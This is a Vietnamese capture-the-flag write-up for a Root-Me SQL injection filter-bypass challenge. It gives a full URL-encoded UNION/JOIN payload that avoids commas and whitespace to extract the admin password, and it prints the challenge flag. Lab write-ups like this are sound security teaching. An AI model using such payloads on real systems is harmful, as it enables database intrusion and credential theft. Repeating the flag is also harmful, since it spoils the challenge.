Skip to content
Tags

SQL injection - Filter bypass

Estimated time to read: 4 minutes

May 05, 2023


Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Filter-bypass

Link challenge này tại http://challenge01.root-me.org/web-serveur/ch33/

Tổng quan

Trong challenge này, mục tiêu của ta là lấy password admin.

Kịch bản tấn công

Bước 1: Kiểm tra website

Challenge này cung cấp cho ta 2 website: 1 cho việc login tài khoản, 1 cho việc xem các account thành viên (trang Members)

Như thường lệ ta tiêm vào url xem lỗ hổng, nhưng bài này bị filter mất tiêu gùi 😿 😿 😿

Image title

Hình ảnh mô tả kết quả tiêm payload vào url

Nhưng chờ chút, f12 website ra ta thấy được hint về database.

1
2
3
4
5
6
7
// CREATE TABLE IF NOT EXISTS `membres` (
//   `id` int(1) NOT NULL AUTO_INCREMENT,
//   `username` VARCHAR(5) NOT NULL,
//   `pass` VARCHAR(20) NOT NULL,
//   `email` VARCHAR( 50 ) NOT NULL,
//   PRIMARY KEY (`id`)
// ) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

Ta có bảng membres với 4 trường, ta cần khai thác ở trường username và password

Bước 2: Xem xét filter của website

Theo những filter mà tôi biết gồm or, and, ||, /**/, union, select, join, whitespace, like, =, %0a, %0b, %0c, ',comma(,),+,... thì nó filter hết sạch :)

Quay trở lại phần hint về database, điều này giúp ta dễ dàng hơn trong việc bypass. Cụ thể ta cần lấy trường password. Oke payload ta sẽ có dạng union select pass,1,1,1 FROM membres LIMIT 1. Nhưng vấn đề đặt ra ở đây là website này đã filter "," nên ta sẽ thay nó bằng câu truy vấn khác và sau khi tìm hiểu google thì từ câu truy vấn trên ta có thể thay thế bằng cách dùng phép kết (JOIN).

  • Ví dụ ta có: select 1,2,3 thì tương ứng với select * from membres limit 1 ((select 1)A join (select 2)B join (select 3)C)

Roài, bây giờ ta chuyển đổi thôi, câu lệnh mới thành: union select * from ((select pass from membres limit 1)A join (select 1)B join (select 2)C join (select 3)D).

Tuy nhiên, website này filter khoảng trắng và filter kí tự thường nên ta dùng HTML URL-encoding1 thay thế thành %90 đồng thời chỉnh lại các từ khóa thành kí tự in hoa, ta được UNION%09SELECT%09*%09FROM%09((SELECT%09pass%09FROM%09membres%09LIMIT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D)

Tóm lại, payload đầy đủ của ta là ...id=-1%09UNION%09SELECT%09*%09FROM%09((SELECT%09pass%09FROM%09membres%09LIMIT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D)

Image title

Hình ảnh mô tả kết quả tiêm payload vào url

Roài, ta submit flag thôi nào

Flag

KLfgyTIJbdhursqli

Comments